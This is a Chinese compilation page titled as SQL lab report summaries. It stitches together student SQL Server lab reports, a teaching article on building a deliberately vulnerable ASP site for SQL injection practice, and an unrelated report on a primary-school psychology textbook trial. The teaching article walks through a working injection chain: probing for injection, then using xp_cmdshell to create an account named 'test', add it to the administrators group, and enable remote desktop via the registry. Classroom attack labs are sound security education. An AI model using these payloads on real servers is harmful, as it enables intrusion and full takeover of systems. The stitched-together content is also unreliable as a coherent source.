sql实验报告总结

2024-07-29

sql实验报告总结(共7篇)

sql实验报告总结 篇1

《数据库系统概论(第四版)》

学号: 姓名: 班级: 教师:

期实 验 总 结 与 心 得

【实验名称】 数据库的创建 【实验内容】

1、新建sql注册表。

2、新建数据库。主数据文件:逻辑文件名为student_data,物理文件名为student.mdf,初始大小为10mb,最大尺寸为无限大,增长速度为10%;

数据库的日志文件:逻辑名称为student_log,物理文件名为student.ldf,初始大小为1mb,最大尺寸为5mb,增长速度为 1mb

3、修改已注册的sql server属性为使用sql server身份验证。

【实验名称】 数据库的附加、分离、导入导出及分离 【实验内容】 1.数据库文件的附加与分离(转载于:sql实验报告总结)2.数据库文件的导入和导出 3..数据库的删除 4.修改数据库

【实验名称】 数据库的创建(书中作业)【实验内容】 1.在数据库student中创建一个学生基本信息表 1.用企业管理其创建表 2.用查询分析器创建表 2.sql server 2005的系统数据类型分为哪几类?常用的数据类型有哪些?

答:字符串类型、整型、长整型、短整型、浮点数类型、定点数类型、日期、时间。常用的数据类型有:字符串类型、整型、长整型、短整型、浮点数类型、定点数类型、日期、时间

3.在数据库student中创建一个名为t_couse(课程信息表)1.用企业管理其创建t_course表 2.用查询分析器创建t_course 4.在数据库student中创建一个名为t_score(学生成绩)的表 5.sql server 2005 中有多少种约束?其作用分别是什么

答:非空约束,作用指定某一列不允许空值有助于维护数据的完整性,因为这样可以确保行中的列永远保护数据。

主键约束,作用可以保证实体的完整性,是最重要的一种约束。唯一约束,作用指定一个或多个列的组合值具有唯一性,以防止在列中输入重复的值。

检查约束,作用对输入列或者整个表中的值设置检查条件,以限制输入值,保证数据库数据的完整性。

默认约束,作用指定在插入操作中如果没有提供输入值。怎系统自动指定值。外键约束,作用主要用来维护两个表之间数据的一致性。6.分别为t_course表和t_score表创建唯一性约束、检查约束、默认约束。篇二:sql server综合实验报告

华北科技学院计算机系综合性实验

实 验 报 告 课程名称 数据库系统 实验学期 2010 至 2011 学年 第 二 学期

学生所在系部 计算机系 年级 二年级 专业班级

网络工程b093班

学生姓名

沈亚强

学号

200907024313

任课教师

郭红 实验成绩

计算机系制

实验报告须知

1、学生上交实验报告时,必须为打印稿(a4纸)。页面空间不够,可以顺延。

2、学生应该填写的内容包括:封面相关栏目、实验地点、时间、目的、设备环境、内容、结果及分析等。

3、教师应该填写的内容包括:实验成绩、教师评价等。

4、教师根据本课程的《综合性实验指导单》中实验内容的要求,评定学生的综合性实验成绩;要求在该课程期末考试前将实验报告交给任课教师。综合性实验

中,所涉及的程序,文档等在交实验报告前,拷贝给任课教师。任课教师统一

刻录成光盘,与该课程的期末考试成绩一同上交到系里存档。

5、未尽事宜,请参考该课程的实验大纲和教学大纲。《

数据库系统

》课程综合性实验报告 篇三:数据库上机实验报告+总结

数据库集中上机报告

学 生: 马志鹏 学 号: 0221090118 班 级: 02210901 专

业:计算机应用技术 重庆邮电大学移通学院 2011年6月

第一天:access数据库基本操作 1 实验目的

1、熟悉的掌握access数据库结构与创建

2、了解创建、修改、删除、查询、保存等操作

3、输入数据创建、设计器创建、向导创建。2 实验内容 3 实验结果

1.2.2 2 access数据表的编辑

第二天 数据表基本操作 1 表关系与编辑数据 1 实验目的:

1、实现一对一,一对多,多对多的实体关系

2、对“学生基本信息”表中的记录进行排序,按出生日期降序排列

3、从“学生基本信息”表中筛选出所有计算机系男生的记录

4、从“学生基本信息”表中筛选出回族和蒙古族的所有学生记录 3 2 实验内容

1.select 学生基本信息表.学生姓名, 成绩档案表.* from 成绩档案表 inner join 学生基本信息表 on 成绩档案表.学生学号 = 学生基本信息表.学生学号

where(((学生基本信息表.学生姓名)=张冰冰));2 select 学生基本信息表.* from 学生基本信息表 where(((学生基本信息表.性别)=男)and((学生基本信息表.班级名称)=计算机系));3 select 成绩档案表.c语言, 课程表.* from 成绩档案表, 课程表;4 select 学生基本信息表.*, 学生基本信息表.性别, 学生基本信息表.班级名称 from 学生基本信息表 where(((学生基本信息表.性别)<>男)and((学生基本信息表.班级名称)<>计算机系));5 select 学生基本信息表.*, 学生基本信息表.出生日期 from 学生基本信息表 where(((month([出生日期]))=9)and((day([出生日

期]))=1));6 select 学生基本信息表.* from 学生基本信息表 where(((学生基本信息表.学生姓名)like 李*));3 实验结果 4 第3天 sql查询设计 1 sql语言查询 1 实验目的:

熟悉了解sql语句 5 篇四:sqlserver实验报告—数据库和表的创建

数据库实验报告

课程名称信息系统数据库技术 实验名称 数据表的管理 专业班级

姓 名

学 号 实验日期

实验地点 2012—2013学 第 一 学期 篇五:数据库上机实验报告sql server 2000 课程代码:1010000450 数据库 database 学分:3 总学时:48 实验学时:16 面向专业:信息与计算科学,数学与应用数学

一、实验教学目标

数据库是计算机科学与技术专业的专业必修课程。课程内容主要包括:数据模型、关系代数、关系数据库标准语言sql、关系系统、关系数据理论、数据库设计方法。学习本课程的过程中,只有通过上机实验,才能使学生真正深层次了解数据库系统的体系结构,掌握数据库系统的基础理论、技术和方法,掌握主流数据库管理系统sql server 2000的应用技术及数据库应用系统的设计、开发能力。

二、实验教学基本要求

认真阅读教材中与实验相关的章节内容,提前做好实验准备,做到在每个实验前明确实验目的、掌握实验的基本内容及操作方法;在实验中正确使用实验设备,认真观察、分析实验结果;实验后要根据要求做好总结,写出实验报告。

三、实验教材或实验指导书

《数据库系统概论》,萨师煊 王珊主编,高等教育出版社

四、考核方式与评分办法 实验成绩评定分两部分:上机实验操作占50%,实验报告占50%。

五、实验项目设置

六、实验内容与实验方式

实验一

安装sql server 2000

(一)实验内容 1.安装microsoft的数据库服务软件sql server 2000。以sql server2000企业版为例安装教程

第一步:打开安装文件中的“autorun”文件,安装程序会自动运行出现版本选择界面,我们以选择企业版为例。

第二步:在接下来的界面中选择“安装数据库服务器”选项。

第三步:这时出现安装向导,出现“计算机名”窗口。“本地计算机”是默认选项,其名称就显示在上面,我们按其默认点“下一步”。

第四步:接下来,在“安装选择”对话窗口中,同样按其默认项“创建新的sql server实例,或安装客户端工具”点下一步。

第五步:在 用户信息 窗口,输入用户信息,并接受软件许可证协议。

第六步:在 安装定义窗口,选择 服务器和客户端工具 选项进行安装。我们需要将服务器和客户端同时安装,这样在同一台机器上,我们可以完成相关的所有操作,对于我们学习sql server很有用处。如果你已经在其它机器上安装了sql server,则可以只安装客户端工具,用于对其它机器上sql server的存取。

第七步:在 实例名 窗口,选择 默认 的实例名称。这时本sql server的名称将和windows 2000服务器的名称相同。第八步:在 安装类型 窗口,选择 典型 安装选项,并指定 目的文件夹。

第九步:在 服务账号 窗口,请选择 对每个服务使用统一账户...的选项。在 服务设置 处,选择 使用本地系统账户。如果需要 使用域用户账户 的话,请将该用户添加至windows server的本机管理员组中。

第十步:在 身份验证模式 窗口,请选择 混合模式...选项,并设置管理员sa账号的密码。如果需要更高的安全性,则可以选择 windows身份验证模式,这时就只有windows server的本地用户和域用户才能使用sql server了。

第十一步:在 选择许可模式 窗口,根据您购买的类型和数量输入(0表示没有数量限制)。每客户表示同一时间最多允许的连接数,处理器许可证表示该服务器最多能安装多少个cpu。笔者这里选择了 每客户 并输入了100作为示例。

第十二步:约10多分钟的安装时间,然后打开开始菜单下的sql子目录下的企业管理器。2.熟悉软件的使用以及各个组成部分。

第一:打开企业管理器,可以对本地的数据进行管理,也可以登录服务器端,即可以远程操作自己的数据库 ;

第二:登录查询分析器,可以通过sql管理语句,对数据库进行管理。

(二)实验方式与分组要求

老师先讲解十分钟,学生上机操作数据库sql server2000,最后老师检查操作结果。每次86组,每组1人。

实验二

启动sql server2000和建库、表

(一)实验内容 1.启动数据库服务软件sql server 2000。第一步:打开企业管理器,可以登录服务器端,即可以远程操作自己的数据库,登录步骤如下; 第二步:左侧方框中控制台根目录的子目录的sql server组上,右击,并新建sql server注册„; 第三步:在“服务器”一栏里输入想要登录的服务器ip地址,选择使用sql server身份验证,写入登录名和密码,就可以登录了。

第四步:登录查询分析器,可以通过sql管理语句,对数据库进行管理。2.在sql server 2000中建立数据库。

第一步:通过企业管理器进入服务器端以后,可以在数据库文件里“新建数据库”。第二步:输入数据库名称。

第三步:通过相关需求对数据库的相关属性进行设置,然后完成。3.在数据库上建立表。第一步:登录企业管理器

第二步:进入自己的database,并打开“表”选项;

第三步:在表选项右侧空白处,点击右键,选择“新建表„”;

第四步:在弹出的窗口中,分别填写列名,数据类型,长度和是否允许空值,然后关闭窗口。第五步:关闭窗口会弹出是否保存表,选择是,接下来弹出的窗口中填写表名即可。

(二)实验方式与分组要求

老师先讲解十分钟,学生上机操作数据库sql server2000,最后老师检查操作结果。每次86组,每组1人。

实验三

sql server2000查询分析器

(一)实验内容 1.启动数据库服务软件sql server 2000的查询分析器。第一步:在登录企业管理器的前提下,登录查询分析器。

第二步:登录查询分析器与登录企业管理器类似,需要输入ip地址或者如果是本地数据库,直接用windows身份验证即可。2.在查询分析器中建立表。

第一步:在查询分析器命令栏里输入以下语句: 定义一个学生-课程模式s-t create schema “s-t” authorization wang /*为用户wang定义了一个模式s-t*/ 然后点击“分析查询”和“执行查询”。第二步:在查询分析器命令栏里输入以下语句:

建立“学生”表student,学号是主码,姓名取值唯一 create table student(sno

char(9)primary key, /* 列级完整性约束条件*/ sname char(20)unique, /* sname取唯一值*/ ssex char(2), sage smallint, sdept char(20));然后点击“分析查询”和“执行查询”。

(二)实验方式与分组要求

老师先讲解十分钟,学生上机操作数据库sql server2000,最后老师检查操作结果。每次86组,每组1人。

实验四

sql语言的ddl

(一)实验内容 1.用如下语句对表进行操作:create table 建表;drop table 删除表;alter table 更改表。

create table student(sno char(4)primary key)drop table student /*当student表与其他数据有级联关系或者其他关系时,不能删除。*/ alter table student add s_entrance date null/*向student表增加“入学时间”列,其数据类型为日期型*/ alter table student drop column sno /*删除student表中的sno这一列,含有以下关系的列不能被删除: ? 被复制列。

? 用在索引中的列。

? 用在 check、foreign key、unique 或 primary key 约束中的列。? 有相关联的默认值(由 default 关键字定义)的列,或绑定到默认对象的列。? 绑定到规则的列。*/ 2.用如下语句对视图进行操作:create view 建视图;drop view 删除视图。/*创建一个is_student视图,视图中返回来自于表student中sdept=’is’的所有学生的sno,sname,sage列*/ create view is_student

as

select sno,sname,sage

from student where sdept=is /*删除is_student视图*/ drop view is_student 3.如下语句对索引进行操作:create index 建立索引;drop index 删除索引。/*创建一个stusname索引,在student 表中以sname列升序排列*/ create clustered index stusname on student(sname)/*删除student表中的stusname索引*/ drop index student.stusname

(二)实验方式与分组要求

老师先讲解十分钟,学生上机操作数据库sql server2000,最后老师检查操作结果。每次86组,每组1人。

实验五 sql语言的dml

(一)实验内容 1.启动数据库服务软件sql server 2000的查询分析器,用insert语句对表进行插入操作。/*将一个新学生元组(学号:200215128;姓名:陈冬;性别:男;所在系:is;年龄:18岁)插入到student表中*/ insert into student(sno,sname,ssex,sdept,sage)values(200215128,陈冬,男,is,18)/*学生张成民的信息插入到student表中*/ insert into student values(200215126,张成民,18,cs,男)/*对表student中每一个系,求学生的平均年龄,并把结果存入表dept_age表中。*/ 第一步:create table dept_age(sdept char(15), /* 系名*/ avg_age smallint)/*学生平均年龄*/ 第二步:insert into dept_age(sdept,avg_age)

select sdept,avg(sage)from student group by sdept 2.用update语句对表中已有的记录进行修改。/*将学生200215121的年龄改为22岁*/ update student set sage=22 where sno=200215121 /*将所有学生的年龄增加1岁*/ update student set sage= sage+1 /*将cs系全体学生的成绩置零*/ update sc set grade=0 where cs=(select sdept from student where student.sno = sc.sno)3.用delete语句对表中已有的记录进行删除。

sql实验报告总结 篇2

SQL注入攻击是黑客攻击最常用的手段之一, 其危害极大。一些不具备很多网络安全技术的“脚本小子”, 使用一些傻瓜式SQL注入攻击工具, 就可能攻陷网站, 进而控制服务器。

高职院校的《网络安全与防范》课程, 具有培养学生掌握较高网络安全防范技能的任务。因此, 必须使学生掌握好SQL注入攻击的防范措施。而为了真正掌握SQL注入攻击的防范措施, 又必须透彻理解SQL注入攻击的原理和具体实施步骤。经验表明, 这是一个教学难点, 因为它需要精心构造SQL语句, 来完成信息的查询、语句的执行等。

我们开展了一项教学改革, 旨在提高《网络安全与防范》课程的教学效果。该教学改革中的一项内容, 就是研究如何更好地开展SQL注入攻击的教学。我们认为, 如果能够搭建一个简单的具有SQL注入漏洞的动态网站, 让学生对这个网站进行模拟攻击, 对于学生更好地掌握SQL注入攻击的原理和具体实施步骤具有很大好处, 也能让他们更好地掌握相应的安全防范措施。

SQL注入攻击实验环境的搭建

我们使用VMware Work Station虚拟机软件安装了两台虚拟机, 一台虚拟机安装的是Windows Server 2003操作系统, 用于模拟被攻击的服务器, IP地址为192.168.248.132;另一台虚拟机安装的是Windows XP操作系统, 用于模拟黑客使用的攻击机, IP地址为192.168.248.133。在Windows Server 2003虚拟机上, 搭建了一个使用ASP+SQL Server 2000开发的简单的动态网站。我们设计该动态网站的思路是:该网站具有SQL注入漏洞, 能满足SQL注入攻击的实验要求;该网站应该尽量简单, 以便于学生理解、分析和掌握。

按照以上设计思路, 我们开发了一个简单的名为testweb的动态网站。该动态网站需要访问一个名为testweb的数据库, 该数据库包含一个表:tbl News。tbl News用来保存新闻的标题和内容, 初始时在这个表中输入了一些测试用的数据。它的具体结构如表1所示。

该网站包括以下三个页面:conn.asp、news.asp、display News.asp。其中conn.asp用于保存与SQL Server 2000数据库服务器的连接信息;news.asp用于读取数据库中的新闻记录, 显示所有新闻的标题, 并且将这些标题以超链接的形式显示。当单击某个新闻的标题后, 即可以进入形如display News.asp?id=xxx的页面, 看到新闻的具体内容 (其中“xxx”表示某条新闻在tbl News表中ID字段的值) 。设置该网站的默认页面为news.asp。

conn.asp的代码如下所示:

从以上三个页面的具体代码可以看出, 我们所设计的动态网站具有简单, 易于理解、分析和掌握的优点。

同时页面display News.asp有SQL注入漏洞, 可以满足SQL注入攻击的实训需要, 其具有SQL注入漏洞的具体语句为:str Sql="select*from tbl News where ID="&news ID, 该语句根据某条新闻的ID查询tbl News表的内容。我们可以在形如display News.asp?id=xxx的地址后面加入精心构造的语句, 从而执行特定的SQL语句, 控制服务器。

SQL注入攻击实验环境的使用

如上所述, 我们开发的动态网站testweb具有SQL注入漏洞, 下面我们通过具体的入侵步骤来展示该SQL注入攻击实验环境的使用。 (以下攻击步骤参考了相关网络安全书籍的内容。)

(一) 判断网站是否有SQL注入漏洞

可以通过在display News.asp?id=1后加上“’”、“and 1=1”和“and 1=2”等方法来判断网站是否有SQL注入漏洞。如在地址栏输入:http://192.168.248.132/testweb/display News.asp?id=1’ (1)

页面返回如下错误信息:

Microsoft OLE DB Provider for SQL Server错误'80040e14'

字符串''之前有未闭合的引号。

/testweb/display News.asp, 行13

从以上提示信息可以看出, 数据库服务器为SQL Server。 (1) 的原理是:正常的SQL语句为select*from tbl News where ID=1, 而 (1) 导致SQL语句成为:select*from tbl News where ID=1’, 这样会使得单引号没有闭合而出错。

在地址栏输入:http://192.168.248.132/testweb/display News.asp?id=1 and 1=1 (2)

返回正常页面。而在地址栏输入:http://192.168.248.132/testweb/display News.asp?id=1 and 1=2

(3)

返回的错误信息是:

ADODB.Field错误'80020009'BOF或EOF中有一个是“真”, 或者当前的记录已被删除, 所需的操作要求一个当前的记录。

/testweb/display News.asp, 行0

(2) 导致SQL语句成为:select*from tbl News where ID=1and 1=1, 因为1=1为永真式, 所以不影响原来的查询结果, 返回正常页面。而 (3) 导致SQL语句成为:select*from tbl News where ID=1and 1=2, 因为1=2为永假式, 所以查询结果为空, 而程序中没有对此进行处理, 所以导致出现错误提示信息。

通过以上测试, 可以明确地知道网站存在SQL注入漏洞, 而且数据库服务器为SQL Server。

(二) 查找是否有xp_cmdshell扩展存储过程

在地址栏输入:http://192.168.248.132/testweb/display News.asp?id=1 and exists (select*from master.dbo.sysobjects where name=’xp_c mdshell’)

页面返回正常, 从而知道master.dbo.sysobjects表中存在扩展过程xp_cmdshell。通过执行xp_cmdshell存储过程可以实现添加用户、将用户添加到管理员组、开启远程终端连接等许多操作。

(三) 通过xp_cmdshell添加系统管理员账户

在地址栏输入:http://192.168.248.132/testweb/display News.asp?id=1;exec master..xp_cmdshell‘net user test test/add’ (4)

页面返回正常。执行该语句后, 可以添加一个名为test, 密码也为test的账户。 (4) 的原理是:通过xp_cmdshell扩展存储过程, 执行net user命令, 实现添加账户的操作。

在地址栏输入:http://192.168.248.132/testweb/display News.asp?id=1;exec master..xp_cmdshell‘net localgroup administrators test/add’

页面返回正常。执行该语句后, 可以将账户test添加到系统管理员组。

(四) 开启目标计算机的远程终端连接

在地址栏输入:http://192.168.248.132/testweb/display News.asp?id=1;execmaster..xp_cmdshell‘reg add“HKLMSystemCurrent ControlSetControlTerminal Server”/v f Deny TSConnections/t RE G_DWORD/d0/f’ (5)

页面返回正常。执行完后, 可以开启目标计算机的远程终端连接。 (5) 的原理是:通过xp_cmdshell扩展存储过程, 执行reg add语句, 完成修改注册表, 开启远程终端连接的操作。执行完以上步骤之后, 即可以使用新建的test账号远程登录目标计算机192.168.248.132。

讨论

为了使学生掌握SQL注入攻击的原理、具体实施步骤和相应的防范措施, 必须搭建实验环境让他们演练SQL注入攻击的实施步骤。为此, 我们搭建了一个ASP+SQLServer 2000环境下的SQL Server注入攻击实验环境。我们没有使用Dvbbs等现成的动态网站, 因为这些动态网站功能较齐全, 但代码很复杂, 不利于初学者理解、分析和掌握。我们设计的动态网站具有简单, 易于学生理解、分析和掌握的优点。我们演示了在该实验环境中进行SQL注入攻击, 判断是否存在SQL注入漏洞, 判断数据库服务器是否支持xp_cmdshell扩展过程, 使用xp_cmdshell添加系统管理员账号、开启远程终端连接、使用攻击机远程登录目标计算机等操作。这表明使用我们搭建的简单的SQL注入攻击实验环境, 可以方便地进行SQL注入攻击演练。这对提高学生的学习兴趣, 掌握SQL注入攻击的原理和具体的实施步骤, 提高网络安全防护意识等都具有很大的好处。

同时, 利用该实验环境, 或者对该实验环境稍微进行扩展, 我们还可以进行更多的SQL注入攻击演练, 如猜解数据库、表、字段的数目、字段的名称、字段的内容等等。

我们的教学经验表明, 通过使用这个简单的实验环境, 教学效果能得到明显的提升。

参考文献

[1]肖遥.大中型网络入侵要案直击与防御[M].北京:电子工业出版社, 2011.

[2]朱锡华, 刘月铧, 侯伟.暗战亮剑——黑客渗透与防御全程实录[M].北京:人民邮电出版社, 2010.

大兴区心理地方教材实验总结报告 篇3

《小学生心理健康》实验已经四年多,随着心理地方教材的全面使用,教育效果逐步显现,但矛盾和问题同时开始暴露,有些问题源于心理地方教材内部,包括由于教师对地方教材的不适应所带来的负面影响;也有些是非教材因素所致,这些矛盾和问题是心理地方教材使用中的必然现象。以下是通过对教师的调查问卷整理出的实验现状。

一、调查问卷分析

1、教师对《指导纲要》的了解。

心理活动课没有《课标》,目前,我们把教育部颁发的《心理健康教育指导纲要》(以下简称指导纲要)作为课程开发、实施的指导性、纲领性文件。作为教材编写、教学、评估的依据。

在对《指导纲要》熟悉程度的调查中,12%的教师表示自己仔细阅读、思考过《指导纲要》;67 %的人大致浏览过,认为是初步了解;认为自己不了解《指导纲要》的仅占21 %,而且教师熟悉《指导纲要》是因为要参加本区的班主任基本功考核。

教师普遍认为,《指导纲要》留给教师的创造空间很大、弹性很强;由于目前小学的心理活动课大部分由班主任兼任,加上教师的素质参差不齐,工作任务繁重等主客观原因。大部分教师感觉在心理活动课上“不太得心应手”。

2、对心理地方教材的认同性。

大部分教师认为《指导纲要》覆盖的面比较大、涵盖的内容比较虚,心理教材才是实的,心理健康的理念要以心理教材为载体传递给学生。因此,认为教材非常重要。

对新教材非常喜欢的的占58 %,说不喜欢的占13%,说不太喜欢的占29%。

教师喜欢心理地方教材的原因主要有:“教材生动活泼,突出人文性”;“教材内容丰富有趣,关注学生身心发展”;“教材内容贴近学生生活实际,趣味性强”;“教材关注学生的亲身体验和感受,触及学生的心灵”; “教材留给教师自主发挥的空间大,可以进行再加工”;“教材的编写充分考虑了学生年龄特征和身心发展规律”。

教师不喜欢心理地方教材的原因主要有:

(1)教材内容有的课时偏少,使得教师对教材的把控难度增加。

(2)教材在活动性体现上还有些薄弱。心理活动课本来应该是通过活动让学生在体验的基础上有所感悟,以达到助人自助目的。教材在教给学生一些心理知识与方法技巧上,有的地方采用直接呈现的形式。但是,学生心理的成长,若没有内在体验,很难认同与内化教师所讲授的内容。因此,心理活动课要真正坚持活动为主,注重感受,让学生在体验中建构一些自我发展的方法。

(3)教材在编排上有些不合理,心理健康知识或方法技巧呈现给学生时不太符合学生身心发展规律。

(4)本地区小学生现实生活中的热点、焦点问题未得到有效关注。

目前,很多小学生“不会玩儿”“不善于沟通”“做事无计划性”等这些热点焦点问题未得到充分关注。

(5)教材有些地方“价值不中立”,导致心理活动课的味道不浓。

如一课的题目是“原谅是一种美德”,那么也就是说不原谅就不具有美德,教材在“价值中立”上出现了一些偏差。

(6)教材在培养技能、技巧上薄弱,训练不够扎实。

学生在生活实践中时常会遇到困扰,这些困扰解决最终要靠学生自己。通过设置情境让学生学以致用;通过模拟问题情境、角色扮演践行;布置实际生活的作业等形式,促进学生心理成长。

(7)教材中有的选择的内容不支持主题。

每个环节的内容都是为主题服务的,教材中有的选择的内容不支持主题。如:在“放弃需要勇气”这一课,设置的情景是“人生目标”。

(8)忽视课后延伸与实践等问题

学生心理水平的提高单靠课上这点时间是远远不够的,还要靠课后延伸与实践。教材在这方面还比较薄弱。

(9)教材中的插图与内容不匹配。

3、对地方教材的把握水平与使用效果。

教师驾驭地方教材的能力直接影响心理活动课的效果。23 %的教师认为自己能把握教材,66 %认为能基本把握,11%认为不能把握。

在对地方教材难以把握的主要原因的调查中,18%的教师地方教材理解的不深不透,32%认为开放度太大所致,31%认为没有教参所致,6%因为学生原因,而 23%认为是由于可参考的资料资源缺乏。

在地方教材对提高学生整体心理素质效果方面,79 %的教师认为比较好, 5%认为比较差,另有16%认为还很难说。

我们感到,教师在使用地方教材的过程中都在努力去适应教材,并且努力体现教材的目标。而少有教师对地方教材存有质疑。

4、对使用心理地方教材学生变化的评价。

心理地方教材使用的效果最终反映在学生的变化上。在对“使用心理地方教材的学生有哪些主要变化”的调查中,比较集中的意见为:

持肯定态度的认为:

学生中绝大多数喜欢上心理活动课,

学生在心理活动课上各抒己见,

学生在心理活动课上的发言真情实感的流露

心理活动课给学生们提供了一个内心交流的良好场所,

在心理活动课中,学生说真话、诉真情,体会情感交流带来的满足感。

通过心理活动课中可以化解学生之间矛盾,

通过心理活动课可以消除学生的困惑

通过心理活动课可以调控学生的不良情绪。

持否定态度的认为:

没有相对安全的氛围,使得不敢说真话,

心理活动课中的活动不容易组织,有时显得课堂纪律不好,

二、实验思考

1、对教材的肯定。

短短几年,使用心理地方教材的效果有目共睹。对教师而言,教育对心理活动课的认识正逐渐发生变化,能力在不断提升;对学生而言,心理健康教育正在逐步走进他们生活的方方面面。

2、教材的优点:

(1)以学生活动为主,注重体验。

教材注重通过极富启发意义的活动,来造成个体内心的认知冲突,唤起学生内心深处存在的一些心理体验,增强其心理感受,以达到心理健康的目的。活动的呈现通常以创设问题情境、小组讨论、游戏、角色扮演、小测试等各种活动辅助辅导,通过各种形式的活动让学生思想活跃起来,让学生全身心地获得心理感悟,通过感悟内化为自己的行为习惯,通过习惯形成为稳定的心理品质。

(2)教材在编排和内容上符合学生的年龄特征和生活实际。

教材在体例编排上根据不同阶段学生心理发展特点分阶段设置内容,内容科学符合小学生的实际情况,选择学生最关心、最需要、最感兴趣和最感到困惑的问题作为教材的内容,与学生产生共鸣,以达到教育效果。

(3)教材在内容与形式上活泼生动、丰富有趣。

教材在形式与内容上活泼生动,丰富有趣,学生们非常喜欢。 如:

故事会:将深奥的心理知识寓于趣味故事中,将具体的行为要求寓于吸引人的故事情节中。

专题讨论:专题讨论容易形成两极或多极观点,容易碰撞出思想的火花。

小品短剧表演:小品短剧表演难度较大但趣味性较强,可以显示学生多方面的才能。

设置展示台:当堂展示学生的小制作,以及一些成果图片等集中展示,让学生有一种成功感,

(4)教材总体目标定位符合《指导纲要》的要求。

教材总体的活动目标落在解决中小学生发展性问题上,以全体学生作为心理健康教育对象,对中小学生成长中普遍遇到的问题予以指导,帮助学生认识自己、悦纳自己,充分发挥潜能,学会控制和条件诶自己能够克服心理困扰,培养乐观进取、自信自律、友善合群的健全人格及良好的社会适应能力。涉及的目标有“自我意识”、“生活适应”、“”人际交往“和”“学习心理”。

(5)教材重视分享交流,善于利用学生资源。

教材要求每个学生都要在课堂中进行思考并分享自己的看法,这种分享有时是在全班进行,有时是在小组内进行。通过交流分享,学生获得更多的心灵碰撞机会,便于在彼此的经验中获得成长。

例如,在小组讨论之后,小组派代表以板书、口头、表演等多种形式向全班汇报、交流,教师引导学生总结大家讨论、交流的结果,并用语言表达出来。

(6)教材重视实践练习,学以致用。

教材充分考虑学生学生实践的机会,培养学生的心理践行能力。如学生在学习了合作的技巧之后,教师给学生小组分配任务,让学生马上去进行尝试,学以致用。

三、实验所带来的变化

变化之一:促进学生形成正确的自我认知。

心理健康教育可以促进学生对自身的认识,提高自我教育的能力。通过心理健康教育学生可以更加深刻地认识自己,悦纳自己、完善自己、超越自己,形成正确的自我认知。

变化之二:加快学生适应能力。

心理健康教育积极关注学生的适应能力,面对学生的不适应,会教给他们积极主动地,快乐地接触新环境,能随着环境的变化主动地进行自我调节的理念与方法,从而产生新的归属感和稳定感。

变化之三:师生、生生及家庭关系发生了变化。

心理健康教育不但能提高自己,还能对正确地处理好人际关系有所帮助。因为在了解自己心理的同时,也学会了解同学的心理、教师的心理,这样便可以对不同气质、性格的同学采取相应的态度,从而防止不必要的矛盾,加强与同学的友谊,改善与老师之间的关系。

变化之四:教育评价发生了变化。

心理健康教育提倡“价值中立”的原则,对学生的表现不进行评判。在课上只要是积极参与、只要是说真话、只要是流露真情实感、只要是尊重他人,就应该得到老师的肯定。

变化之五:有助于学生形成正确的人生观、价值观。

心理健康教育有助于帮助学生形成正确的人生态度,心态始终保持健康水平。培养对他人、对工作、对学习、对生活都比较满意,没有心理障碍的满意的心境,不会苛刻地要求别人。对工作、生活、学习也有正确的标准,既不好高骛远,也不急功近利。

四、对教材的修订

1、队伍组建:

我们组建了一支老中青相结合的修订队伍,这支队伍由12人组成,既有一线心理教师又有德育主任,还有教研员;既有中学教师又有小学教师;既有理论水平高的硕士,又有经验丰富型教师,这支队伍组建的我们认为比较科学、合理。

2、修订内容:

本次修订,我们在内容方面做较大调整,针对教材中的一些突出问题,我们给予较高的重视。

1)对于教材中有些课时内容偏少的情况,我们采取适当增加内容。

2)对于教材的活动性体现薄弱的情况,我们采取适当增加游戏、情景表演、讨论等形式来凸显活动性。

3)对于教材编排上的不合理,我们采取调整顺序的方法。

4)对于教材中关于那些热点、焦点问题未得到有效关注的现象,我们适当增加了一些主题。如增加了“学会玩儿”、“学会消费“、”学会沟通“、学会计划”、“学会面对挫折”等。

5、对于教材中有些“价值不中立”的现象,我们采取换表述的方式。如把“学会遵规守纪”换成“学会遵守规则”,把“原谅是一种美德”换成“你知道什么是原谅吗”等。

6、对于教材在培养学生技能技巧上薄弱,训练不够扎实的问题,我们采取通过模拟问题情境、角色扮演践行;布置实际生活的作业等形式,促进学生心理成长。

7、对于教材中有的选择的内容不支持主题的现象,我们采取换部分内容的方式来解决。

8、对于忽视课后延伸与实践等问题这一次得到了加强。

9、对于教材中的插图与内容不匹配的现象我们这一次修订也做了改善。

10、这次修订,我们在每一单元结束后,增加了一节回顾课。

五、实验工作

1、教材辅导

每个学期开学初组织一次心理教材辅导,试验以来共组织9次。主要是针对教材内容,指导老师把握心理活动课的教学理念,掌握其课程的讲授方法,合理有效运用教材,为老师们上好心理课做好辅导工作。

2、各种形式的课程辅导

(1)下校视导:四年时间,足迹遍布大兴区所有小学,每学期分别指导20余节心理活动课。

(2)组织研究课:四年来共组织8节,每学期一节。我们深入学校一线,组织优秀的心理活动课供全体老师学习观摩,并在观摩中研讨、交流、学习,既是对骨干教师的磨练,也是给新教师学习的机会,起到了积极有效的成果。

3、“共同成长”研修组对课程的研究

07年组建“共同成长”研修组以来,老师们在这个集体中共同研讨教学设计、如何设计暖身活动、如何选题、如何组织活动等方面作了深入的研讨,使每位老师都有不同程度的提高和发展。每学期组织六次活动。

4、组织评优、征文等活动

(1)2008年,进行了心理健康活动课的市级和区级评优活动,市级一等奖2人。

(2)位获奖老师在石景山京源学校举行的“北京市优秀心理健康教育活动课例展示及征集与推广研讨会”上为全市到会的老师做课,并受到了专家的肯定。区级有二十余位教师分别获奖。

(3)组织编辑了“从这里走进心灵——大兴区中小学心理健康教育活动课优秀设计文集”。

(4)09年参加北京市教科院教学设计评优活动,又有4位老师获一等奖,7人获二等奖。

(5)试验以来组织区级心理活动课评优活动4次。

5、网上研修

利用教师研修网开展研修活动,我们设置了研修大厅、活动课程、心理咨询、辅导案例、家庭教育等几个栏目,发帖子近3000个。

6、走出去请进来

(1)09年,参加了由西城教育研修学院德育心理部组织的、钟志农教授主讲的“心理辅导活动课操作实务”。

(2)参加了在石景山京源学校举行的“北京市优秀心理健康教育活动课例展示及征集与推广研讨会”。

(3)10年,邀请北师大教授聂振伟做关于考前心理辅导的讲座。

(4)邀请北京教科院白玉平教授作关于教师成长的讲座。

7、教材修订记录

(1)2010年4月8日下午,进修学校504教室教材修订第一次研讨会。(组建修订队伍,讨论编排体例)

(2)2010年4月13日上午,进修学校504教室教材修订第二次研讨会。(讨论编排体例)

(3)2010年4月14日上午,进修学校504教室教材修订第三次研讨会。

请首都师大王希永教授、陈红主编指导编排体例。

(4)2010年4月22日全天,进修学校三楼会议室教材修订第四次研讨会。(讨论每内容)

(5)2010年6月22日全天,进修学校三楼会议室教材修订第五次研讨会。(讨论内容)

